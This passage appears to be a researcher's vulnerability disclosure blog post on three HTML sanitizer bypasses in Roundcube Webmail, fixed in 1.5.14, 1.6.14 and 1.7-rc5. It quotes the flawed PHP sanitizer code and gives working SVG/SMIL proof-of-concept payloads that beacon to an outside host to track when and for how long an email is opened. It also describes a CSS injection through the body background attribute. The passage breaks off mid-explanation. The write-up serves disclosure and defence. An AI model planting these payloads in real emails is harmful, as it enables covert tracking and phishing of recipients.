Roundcube Webmail: three more sanitizer bypasses enable tracking and phishing
0 net
Entities
CVE-2024-37383
Roundcube round two: three more sanitizer bypasses â NULL CATHEDRAL Skip to main content Blog Published Mar 18, 2026 Reading 6 min Tags vulnerability roundcube svg css email-security Formats .txt .md .json TL;DR: Three more bypasses in Roundcube’s HTML sanitizer. SMIL animation values and by attributes pass through without URI validation. The body background attribute gets dropped into url() unquoted, which allows CSS injection. And position: fixed !important bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in 1.5.14, 1.6.14, and 1.7-rc5 . Vulnerability information # Field Value Vendor Roundcube Product Roundcube Webmail Affected versions < 1.5.14, 1.6.x < 1.6.14, 1.7-rc1 through 1.7-rc4 CVE Pending Disclosure date 2026-03-18 Going back # After the feImage bypass was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn’t feel like doing anything else, so I went poking at it again. 1 Three more things came out of it. SMIL animations: values and by # The feImage bug was about an element whose href went through the wrong code path. This one is about attributes that skip the code path entirely. SMIL animation elements ( , , ) can target any attribute on their parent element. The to and from attributes set start and end values, but SMIL also has values (semicolon-separated keyframes) and by (relative offset). They all do the same thing: set the value of the target attribute. wash_attribs() handles to and from correctly by resolving attributeName and routing the value through the appropriate URI check: rcube_washtml.php // in SVG to/from attribs may contain anything, including URIs if ( $key == 'to' || $key == 'from' ) { $key = strtolower (( string ) $node -> getAttribute ( 'attributeName' )); $key = trim ( preg_replace ( '/^.*:/' , '' , $key )); if ( $key && ! isset ( $this -> _html_attribs [ $key ])) { $key = null ; } } This swaps the attribute name for the resolved attributeName , so to="https://httpbin.org" on gets validated as if it were an href value. The right idea. But values and by aren’t in that if check. They’re both in the $html_attribs allowlist, so they pass the initial gate and fall through to the generic pass-through: rcube_washtml.php } elseif ( $key ) { $out = $value ; } No URI validation. The value goes into the output unchanged. There’s a second layer to this. After CVE-2024-37383 2 , the sanitizer blocks SMIL animations targeting attributeName="href" : rcube_washtml.php } elseif ( in_array ( $tagName , [ 'animate' , 'animatecolor' , 'set' , 'animatetransform' ]) && self :: attribute_value ( $node , 'attributename' , 'href' ) ) { Only href . But CSS properties like mask and cursor also load external resources when their values contain URLs. An passes through because the element-level block doesn’t fire. Combined: the values attribute bypasses attribute-level validation, and targeting mask instead of href bypasses element-level blocking. Both checks miss. Proof of concept # Zero-click open tracking. An invisible SVG off-screen: < svg width = "1" height = "1" style = "position:absolute;left:-9999px" > < rect width = "1" height = "1" fill = "white" > < animate attributeName = "mask" values = "url(//httpbin.org/[email protected])" fill = "freeze" dur = "0.001s" /> rect > svg > Open the email in Roundcube with “Block remote images” enabled. The browser fires a GET to the attacker’s URL. 3 SMIL’s keyTimes attribute enables timed beacons, measuring how long a recipient views the email: < svg width = "1" height = "1" style = "position:absolute;left:-9999px" > < rect width = "1" height = "1" > < animate attributeName = "mask" values = "none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)" dur = "5s" repeatCount = "indefinite" /> rect > svg > Body backgrounds: unquoted url() # This one is in the application layer, not the sanitizer library. When Roundcube renders an email, washtml_callback() processes the element’s attributes and converts them to inline CSS on the output container
. The background attribute 4 becomes background-image : index.php case 'background' : if ( preg_match ( '/^([^\s]+)$/' , $value , $m )) { $style [ 'background-image' ] = "url( { $value } )" ; } break ; The value runs through wash_uri() before this point, which allows data:image/* URIs. Then it gets interpolated into url() without quotes. A ) inside the data URI terminates the url() function early, and everything after it is parsed as additional CSS properties on the container
. Because the injected CSS is inline style (not inside a